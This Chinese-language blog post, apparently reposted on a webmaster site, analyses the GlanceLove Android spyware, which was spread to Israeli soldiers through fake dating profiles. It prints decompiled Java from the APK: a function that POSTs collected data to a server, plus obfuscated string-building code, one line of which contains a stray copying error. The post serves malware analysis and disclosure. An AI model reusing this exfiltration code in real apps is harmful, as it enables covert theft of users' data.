副标题[/!--empirenews.page--]
技术沙龙 | 8月25日与多位资深技术大咖探讨小程序电商实战
某天晚上,我躺在沙发上,偶然看到论坛中有人披露了一个由某黑客组织专门开发的恶意安卓应用APK,这些恶意APK是如何被发现的呢?我看了一下,其实也不难,黑客用一些性感女孩的照片创建了一个假Facebook账户,然后就用这个账户在网上和一些以色列男孩(受害者)聊天,并告诉这些男孩必须要去下载安装那个APK才能和她视频聊天。然而,当受害者男孩们下载安装这个APK之后,之前与他们聊天的辣妹就无故消失了。我从某则论坛中得知这个恶意APK名叫 – GlanceLove。

世界杯期间,以色列网络安全公司 ClearSky Security 曾发布报告称,伊斯兰恐怖组织哈马斯试图通过包括GlanceLove在内的约会类APP诱骗以色列国防军安装受恶意软件感染的间谍软件。另外,以色列国防军也确认哈马斯组织在以色列士兵的智能手机上植入了名为 GlanceLove 的间谍软件进行信息收集,而且该APK应用曾被上传到了Google Play商店(后已被谷歌下架删除)。

技术分析
找到apk并下载后,我使用JDAX对其进行了反编译。我假设它使用HTTP协议来窃取数据,所以我做的第一件事是搜索 “HTTP” 字符串。
搜索结果显示,该APK使用了 “HttpURLConnection” 类,HttpURLconnection是基于http协议的,支持get,post,put,delete等各种请求方式。因此我非常确定其使用了一个web服务器来收集存储数据,但我却没看到它请求的这个web服务器相关的URL字符串,所以还需继续分析代码。使用 “HttpURLConnection” 类的函数名称为m7665a:
- public static String m7665a(String str, byte[] bArr) {
- String str2;
- Throwable th;
- HttpURLConnection httpURLConnection = null;
- try {
- HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL(str).openConnection();
- try {
- httpURLConnection2.setRequestMethod(f5386b);
- httpURLConnection2.setRequestProperty(f5387c, f5388d);
- httpURLConnection2.setUseCaches(false);
- httpURLConnection2.setDoInput(true);
- httpURLConnection2.setDoOutput(true);
- DataOutputStream dataOutputStream = new DataOutputStream(httpURLConnection2.getOutputStream());
- dataOutputStream.write(bArr);
- dataOutputStream.flush();
- dataOutputStream.close();
- ...
- ...
- }
这个函数调用了两个参数,其中str代表回调请求web服务器的URL,bArr代表发送到web服务器的数据。还可以看到,请求方法定义在了变量f5386b中,而请求属性则定义在了变量f5387c 和 f5388d中:
- private static final String f5386b = C1559l.m7683a(new C1552g[]{C1552g.P, C1552g.O, C1552g.S, C1552g.T});
- private static final String f5387c = C1559l.m7683a(new C1552g[]{C1552g.C, C1552g.o, C1552g.n, C1552g.t, C1552g.e, C1552g.n, C1552g.t}).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.T, C1552g.y, C1552g.p, C1552g.e}));
- private static final String f5388d = C1559l.m7683a(new C1552g[]{C1552g.a, C1552g.p, C1552g.p, C1552g.l, C1552g.i, C1552g.c, C1552g.a, C1552g.t, C1552g.i, C1552g.o, C1552g.n})M.concat("/x").concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.w, C1552g.w, C1552g.w})).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.f, C1552g.o, C1552g.r, C1552g.m})).concat("-").concat(C1559l.m7683a(new C1552g[]{C1552g.u, C1552g.r, C1552g.l, C1552g.e, C1552g.n, C1552g.c, C1552g.o, C1552g.d, C1552g.e, C1552g.d}));
(编辑:PHP编程网 - 黄冈站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|